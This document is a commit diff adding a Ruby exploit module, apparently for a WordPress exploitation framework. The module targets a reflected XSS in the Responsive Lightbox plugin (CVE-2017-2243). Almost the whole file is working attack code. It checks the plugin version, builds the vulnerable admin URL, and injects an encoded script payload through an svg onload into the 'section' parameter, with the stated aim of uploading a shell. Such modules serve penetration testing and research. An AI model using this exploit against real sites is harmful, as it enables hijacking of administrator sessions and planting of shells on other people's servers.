Add Responsive Lightbox <= 1.7.1 reflected XSS shell upload

Author: rastating

modules/exploits/responsive_lightbox_reflected_xss_shell_upload.rb

@@ -0,0 +1,37 @@
+class Wpxf::Exploit::ResponsiveLightboxReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Responsive Lightbox <= 1.7.1 Reflected XSS Shell Upload',
+      author: [
+        'Chris Liu',                      # Discovery
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8860'],
+        ['CVE', '2017-2243'],
+        ['URL', 'http://jvn.jp/en/jp/JVN39819446/index.html']
+      ],
+      date: 'Jul 04 2017'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('responsive-lightbox', '1.7.2')
+  end
+
+  def vulnerable_url
+    normalize_uri(wordpress_url_admin, 'options-general.php')
+  end
+
+  def url_payload
+    url_encode("\"><svg onload=#{xss_ascii_encoded_include_script}><!--")
+  end
+
+  def url_with_xss
+    "#{vulnerable_url}?page=responsive-lightbox&tab=configuration&section=#{url_payload}"
+  end
+end